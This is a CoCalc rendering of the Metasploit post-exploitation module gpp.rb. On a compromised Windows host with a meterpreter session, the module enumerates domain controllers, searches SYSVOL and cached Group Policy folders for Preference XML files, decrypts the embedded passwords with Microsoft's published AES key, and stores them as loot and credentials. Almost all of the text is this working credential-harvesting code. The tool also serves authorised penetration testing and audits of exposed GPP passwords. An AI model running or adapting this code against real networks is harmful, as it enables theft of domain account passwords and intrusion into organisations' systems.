CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/gpp.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::File
9
include Msf::Post::Windows::ExtAPI
10
include Msf::Post::Windows::Priv
11
include Msf::Post::Windows::Registry
12
include Msf::Post::Windows::NetAPI
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
19
'Description' => %q{
20
This module enumerates the victim machine's domain controller and
21
connects to it via SMB. It then looks for Group Policy Preference XML
22
files containing local user accounts and passwords and decrypts them
23
using Microsofts public AES key.
24
25
Cached Group Policy files may be found on end-user devices if the group
26
policy object is deleted rather than unlinked.
27
28
Tested on WinXP SP3 Client and Win2k8 R2 DC.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Ben Campbell',
33
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
34
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
35
'theLightCosine',
36
'mubix' # domain/dc enumeration code
37
],
38
'References' => [
39
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
40
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
41
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
42
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
43
['MSB', 'MS14-025']
44
],
45
'Platform' => [ 'win' ],
46
'SessionTypes' => [ 'meterpreter' ],
47
'Compat' => {
48
'Meterpreter' => {
49
'Commands' => %w[
50
extapi_adsi_domain_query
51
]
52
}
53
}
54
)
55
)
56
57
register_options([
58
OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),
59
OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
60
OptString.new('DOMAINS', [false, 'Enumerate list of space separated domains DOMAINS="dom1 dom2".'])
61
])
62
end
63
64
def run
65
group_path = 'MACHINE\\Preferences\\Groups\\Groups.xml'
66
group_path_user = 'USER\\Preferences\\Groups\\Groups.xml'
67
service_path = 'MACHINE\\Preferences\\Services\\Services.xml'
68
printer_path = 'USER\\Preferences\\Printers\\Printers.xml'
69
drive_path = 'USER\\Preferences\\Drives\\Drives.xml'
70
datasource_path = 'MACHINE\\Preferences\\Datasources\\DataSources.xml'
71
datasource_path_user = 'USER\\Preferences\\Datasources\\DataSources.xml'
72
task_path = 'MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'
73
task_path_user = 'USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'
74
75
domains = []
76
basepaths = []
77
fullpaths = []
78
79
print_status 'Checking for group policy history objects...'
80
all_users = get_env('%ALLUSERSPROFILE%')
81
82
unless all_users.include? 'ProgramData'
83
all_users = "#{all_users}\\Application Data"
84
end
85
86
cached = get_basepaths("#{all_users}\\Microsoft\\Group Policy\\History", true)
87
88
unless cached.blank?
89
basepaths << cached
90
print_good 'Cached Group Policy folder found locally'
91
end
92
93
print_status 'Checking for SYSVOL locally...'
94
system_root = expand_path('%SYSTEMROOT%')
95
locals = get_basepaths("#{system_root}\\SYSVOL\\sysvol")
96
unless locals.blank?
97
basepaths << locals
98
print_good 'SYSVOL Group Policy Files found locally'
99
end
100
101
# If user supplied domains this implicitly cancels the ALL flag.
102
if datastore['ALL'] && datastore['DOMAINS'].blank?
103
print_status 'Enumerating Domains on the Network...'
104
domains = enum_domains
105
domains.reject! { |n| n == 'WORKGROUP' || n.to_s.empty? }
106
end
107
108
# Add user specified domains to list.
109
unless datastore['DOMAINS'].blank?
110
if datastore['DOMAINS'].match(/\./)
111
print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'."
112
return
113
end
114
user_domains = datastore['DOMAINS'].split(' ')
115
user_domains = user_domains.map(&:upcase)
116
print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."
117
user_domains.each { |ud| domains << ud }
118
end
119
120
# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.
121
# If user supplied domains we do not wish to enumerate registry retrieved domains.
122
if locals.blank? && user_domains.blank?
123
print_status 'Enumerating domain information from the local registry...'
124
domains << get_domain_reg
125
end
126
127
domains.flatten!
128
domains.compact!
129
domains.uniq!
130
131
# Dont check registry if we find local files.
132
cached_dc = get_cached_domain_controller if locals.blank?
133
134
domains.each do |domain|
135
dcs = enum_dcs(domain)
136
dcs = [] if dcs.nil?
137
138
# Add registry cached DC for the test case where no DC is enumerated on the network.
139
if !cached_dc.nil? && (cached_dc.include? domain)
140
dcs << cached_dc
141
end
142
143
next if dcs.blank?
144
145
dcs.uniq!
146
tbase = []
147
dcs.each do |dc|
148
print_status "Searching for Policy Share on #{dc}..."
149
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
150
# If we got a basepath from the DC we know that we can reach it
151
# All DCs on the same domain should be the same so we only need one
152
next if tbase.blank?
153
154
print_good "Found Policy Share on #{dc}"
155
basepaths << tbase
156
break
157
end
158
end
159
160
basepaths.flatten!
161
basepaths.compact!
162
print_status 'Searching for Group Policy XML Files...'
163
basepaths.each do |policy_path|
164
fullpaths << find_path(policy_path, group_path)
165
fullpaths << find_path(policy_path, group_path_user)
166
fullpaths << find_path(policy_path, service_path)
167
fullpaths << find_path(policy_path, printer_path)
168
fullpaths << find_path(policy_path, drive_path)
169
fullpaths << find_path(policy_path, datasource_path)
170
fullpaths << find_path(policy_path, datasource_path_user)
171
fullpaths << find_path(policy_path, task_path)
172
fullpaths << find_path(policy_path, task_path_user)
173
end
174
fullpaths.flatten!
175
fullpaths.compact!
176
fullpaths.each do |filepath|
177
tmpfile = gpp_xml_file(filepath)
178
parse_xml(tmpfile) if tmpfile
179
end
180
end
181
182
def get_basepaths(base, cached = false)
183
locals = []
184
begin
185
session.fs.dir.foreach(base) do |sub|
186
next if sub =~ /^(\.|\.\.)$/
187
188
# Local GPO are stored in C:\Users\All Users\Microsoft\Group
189
# Policy\History\{GUID}\Machine\etc without \Policies
190
if cached
191
locals << "#{base}\\#{sub}\\"
192
else
193
tpath = "#{base}\\#{sub}\\Policies"
194
195
begin
196
session.fs.dir.foreach(tpath) do |sub2|
197
next if sub2 =~ /^(\.|\.\.)$/
198
199
locals << "#{tpath}\\#{sub2}\\"
200
end
201
rescue Rex::Post::Meterpreter::RequestError => e
202
print_error "Could not access #{tpath} : #{e.message}"
203
end
204
end
205
end
206
rescue Rex::Post::Meterpreter::RequestError => e
207
print_error "Error accessing #{base} : #{e.message}"
208
end
209
return locals
210
end
211
212
def find_path(path, xml_path)
213
xml_path = "#{path}#{xml_path}"
214
begin
215
return xml_path if exist? xml_path
216
rescue Rex::Post::Meterpreter::RequestError
217
# No permissions for this specific file.
218
return nil
219
end
220
end
221
222
def adsi_query(domain, adsi_filter, adsi_fields)
223
return '' unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY)
224
225
query_result = session.extapi.adsi.domain_query(domain, adsi_filter, 255, 255, adsi_fields)
226
227
if query_result[:results].empty?
228
return '' # adsi query failed
229
else
230
return query_result[:results]
231
end
232
end
233
234
def gpp_xml_file(path)
235
data = read_file(path)
236
237
spath = path.split('\\')
238
retobj = {
239
dc: spath[2],
240
guid: spath[6],
241
path: path,
242
xml: data
243
}
244
if spath[4] == 'sysvol'
245
retobj[:domain] = spath[5]
246
else
247
retobj[:domain] = spath[4]
248
end
249
250
adsi_filter_gpo = "(&(objectCategory=groupPolicyContainer)(name=#{retobj[:guid]}))"
251
adsi_field_gpo = ['displayname', 'name']
252
253
gpo_adsi = adsi_query(retobj[:domain], adsi_filter_gpo, adsi_field_gpo)
254
255
unless gpo_adsi.empty?
256
gpo_name = gpo_adsi[0][0][:value]
257
gpo_guid = gpo_adsi[0][1][:value]
258
retobj[:name] = gpo_name if retobj[:guid] == gpo_guid
259
end
260
261
return retobj
262
rescue Rex::Post::Meterpreter::RequestError => e
263
print_error "Received error code #{e.code} when reading #{path}"
264
return nil
265
end
266
267
def parse_xml(xmlfile)
268
mxml = xmlfile[:xml]
269
print_status "Parsing file: #{xmlfile[:path]} ..."
270
filetype = File.basename(xmlfile[:path].gsub('\\', '/'))
271
results = Rex::Parser::GPP.parse(mxml)
272
273
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])
274
275
tables.each do |table|
276
table << ['NAME', xmlfile[:name]] if xmlfile.member?(:name)
277
print_good " #{table}\n\n"
278
end
279
280
results.each do |result|
281
if datastore['STORE']
282
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])
283
print_good("XML file saved to: #{stored_path}")
284
print_line
285
end
286
287
report_creds(result[:USER], result[:PASS], result[:DISABLED])
288
end
289
end
290
291
def report_creds(user, password, _disabled)
292
service_data = {
293
address: session.session_host,
294
port: 445,
295
protocol: 'tcp',
296
service_name: 'smb',
297
workspace_id: myworkspace_id
298
}
299
300
credential_data = {
301
origin_type: :session,
302
session_id: session_db_id,
303
post_reference_name: refname,
304
username: user,
305
private_data: password,
306
private_type: :password
307
}
308
309
credential_core = create_credential(credential_data.merge(service_data))
310
311
login_data = {
312
core: credential_core,
313
access_level: 'User',
314
status: Metasploit::Model::Login::Status::UNTRIED
315
}
316
317
create_credential_login(login_data.merge(service_data))
318
end
319
320
def enum_domains
321
domains = []
322
results = net_server_enum(SV_TYPE_DOMAIN_ENUM)
323
324
if results
325
results.each do |domain|
326
domains << domain[:name]
327
end
328
329
domains.uniq!
330
print_status("Retrieved Domain(s) #{domains.join(', ')} from network")
331
end
332
333
domains
334
end
335
336
def enum_dcs(domain)
337
hostnames = nil
338
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
339
# http://support.microsoft.com/kb/909264 \/:*?"<>|
340
if domain =~ %r{[:*?"<>\\/.]}
341
print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")
342
return nil
343
end
344
345
print_status("Enumerating DCs for #{domain} on the network...")
346
results = net_server_enum(SV_TYPE_DOMAIN_CTRL | SV_TYPE_DOMAIN_BAKCTRL, domain)
347
348
if results.blank?
349
print_error("No Domain Controllers found for #{domain}")
350
else
351
hostnames = []
352
results.each do |dc|
353
print_good "DC Found: #{dc[:name]}"
354
hostnames << dc[:name]
355
end
356
end
357
358
hostnames
359
end
360
361
# We use this for the odd test case where a DC is unable to be enumerated from the network
362
# but is cached in the registry.
363
def get_cached_domain_controller
364
subkey = 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\'
365
v_name = 'DCName'
366
dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase
367
print_status "Retrieved DC #{dc} from registry"
368
return dc
369
rescue StandardError
370
print_status('No DC found in registry')
371
end
372
373
def get_domain_reg
374
locations = []
375
# Lots of redundancy but hey this is quick!
376
locations << ['HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\', 'Domain']
377
locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\', 'DefaultDomainName']
378
locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\', 'MachineDomain']
379
380
domains = []
381
382
# Pulls cached domains from registry
383
domain_cache = registry_enumvals('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\')
384
if domain_cache
385
domain_cache.each { |ud| domains << ud }
386
end
387
388
locations.each do |location|
389
begin
390
subkey = location[0]
391
v_name = location[1]
392
domain = registry_getvaldata(subkey, v_name)
393
rescue Rex::Post::Meterpreter::RequestError => e
394
print_error "Received error code #{e.code} - #{e.message}"
395
end
396
397
unless domain.blank?
398
domain_parts = domain.split('.')
399
domains << domain.split('.').first.upcase unless domain_parts.empty?
400
end
401
end
402
403
domains.uniq!
404
print_status "Retrieved Domain(s) #{domains.join(', ')} from registry"
405
406
return domains
407
end
408
end
409
410